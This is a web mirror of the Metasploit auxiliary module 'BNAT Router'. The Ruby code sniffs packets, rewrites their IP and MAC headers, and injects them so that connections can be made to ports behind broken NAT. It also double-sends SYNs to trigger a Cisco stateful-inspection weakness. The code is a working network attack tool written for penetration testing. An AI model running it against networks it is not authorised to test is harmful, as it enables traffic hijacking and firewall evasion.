CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/bnat/bnat_router.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
def initialize
9
super(
10
'Name' => 'BNAT Router',
11
'Description' => %q{
12
This module will properly route BNAT traffic and allow for connections to be
13
established to machines on ports which might not otherwise be accessible.},
14
'Author' =>
15
[
16
'bannedit',
17
'Jonathan Claudius',
18
],
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'URL', 'https://github.com/claudijd/bnat' ],
23
[ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels']
24
]
25
)
26
register_options(
27
[
28
OptString.new('OUTINF', [true, 'The external interface connected to the internet', 'eth1']),
29
OptString.new('ININF', [true, 'The internal interface connected to the network', 'eth2']),
30
OptString.new('CLIENTIP', [true, 'The ip of the client behind the BNAT router', '192.168.3.2']),
31
OptString.new('SERVERIP', [true, 'The ip of the server you are targeting', '1.1.2.1']),
32
OptString.new('BNATIP', [true, 'The ip of the bnat response you are getting', '1.1.2.2']),
33
])
34
end
35
36
def run
37
clientip = datastore['CLIENTIP']
38
serverip = datastore['SERVERIP']
39
bnatip = datastore['BNATIP']
40
outint = datastore['OUTINF']
41
inint = datastore['ININF']
42
43
clientmac = arp2(clientip,inint)
44
print_line("Obtained Client MAC: #{clientmac}")
45
servermac = arp2(serverip,outint)
46
print_line("Obtained Server MAC: #{servermac}")
47
bnatmac = arp2(bnatip,outint)
48
print_line("Obtained BNAT MAC: #{bnatmac}\n\n")
49
50
# Create Interface Specific Configs
51
outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{outint}").config
52
inconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{inint}").config
53
54
# Set Captures for Traffic coming from Outside and from Inside respectively
55
outpcap = PacketFu::Capture.new( :iface => "#{outint}", :start => true, :filter => "tcp and src #{bnatip}" )
56
print_line("Now listening on #{outint}...")
57
58
inpcap = PacketFu::Capture.new( :iface => "#{inint}", :start => true, :filter => "tcp and src #{clientip} and dst #{serverip}" )
59
print_line("Now listening on #{inint}...\n\n")
60
61
# Start Thread from Outside Processing
62
fromout = Thread.new do
63
loop do
64
outpcap.stream.each do |pkt|
65
packet = PacketFu::Packet.parse(pkt)
66
67
# Build a shell packet that will never hit the wire as a hack to get desired mac's
68
shell_pkt = PacketFu::TCPPacket.new(:config => inconfig, :timeout => 0.1, :flavor => "Windows")
69
shell_pkt.ip_daddr = clientip
70
shell_pkt.recalc
71
72
# Mangle Received Packet and Drop on the Wire
73
packet.ip_saddr = serverip
74
packet.ip_daddr = clientip
75
packet.eth_saddr = shell_pkt.eth_saddr
76
packet.eth_daddr = clientmac
77
packet.recalc
78
inj = PacketFu::Inject.new( :iface => "#{inint}", :config => inconfig )
79
inj.a2w(:array => [packet.to_s])
80
print_status("inpacket processed")
81
end
82
end
83
end
84
85
# Start Thread from Inside Processing
86
fromin = Thread.new do
87
loop do
88
inpcap.stream.each do |pkt|
89
packet = PacketFu::Packet.parse(pkt)
90
91
if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
92
packet.ip_daddr = serverip
93
packet.eth_daddr = servermac
94
else
95
packet.ip_daddr = bnatip
96
packet.eth_daddr = bnatmac
97
end
98
99
# Build a shell packet that will never hit the wire as a hack to get desired mac's
100
shell_pkt = PacketFu::TCPPacket.new(:config=>outconfig, :timeout=> 0.1, :flavor=>"Windows")
101
shell_pkt.ip_daddr = serverip
102
shell_pkt.recalc
103
104
# Mangle Received Packet and Drop on the Wire
105
packet.eth_saddr = shell_pkt.eth_saddr
106
packet.ip_saddr=shell_pkt.ip_saddr
107
packet.recalc
108
inj = PacketFu::Inject.new( :iface => "#{outint}", :config =>outconfig )
109
inj.a2w(:array => [packet.to_s])
110
111
# Trigger Cisco SPI Vulnerability by Double-tapping the SYN
112
if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
113
select(nil, nil, nil, 0.75)
114
inj.a2w(:array => [packet.to_s])
115
end
116
print_status("outpacket processed")
117
end
118
end
119
end
120
fromout.join
121
fromin.join
122
end
123
124
def arp2(target_ip,int)
125
config = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{int}").config
126
arp_pkt = PacketFu::ARPPacket.new(:flavor => "Windows")
127
arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = config[:eth_saddr]
128
arp_pkt.eth_daddr = "ff:ff:ff:ff:ff:ff"
129
arp_pkt.arp_daddr_mac = "00:00:00:00:00:00"
130
arp_pkt.arp_saddr_ip = config[:ip_saddr]
131
arp_pkt.arp_daddr_ip = target_ip
132
cap = PacketFu::Capture.new(:iface => config[:iface], :start => true, :filter => "arp src #{target_ip} and ether dst #{arp_pkt.eth_saddr}")
133
injarp = PacketFu::Inject.new(:iface => config[:iface])
134
injarp.a2w(:array => [arp_pkt.to_s])
135
target_mac = nil
136
137
while target_mac.nil?
138
if cap.save > 0
139
arp_response = PacketFu::Packet.parse(cap.array[0])
140
target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip = target_ip
141
end
142
select(nil, nil, nil, 0.1) # Check for a response ten times per second.
143
end
144
return target_mac
145
end
146
end
147
148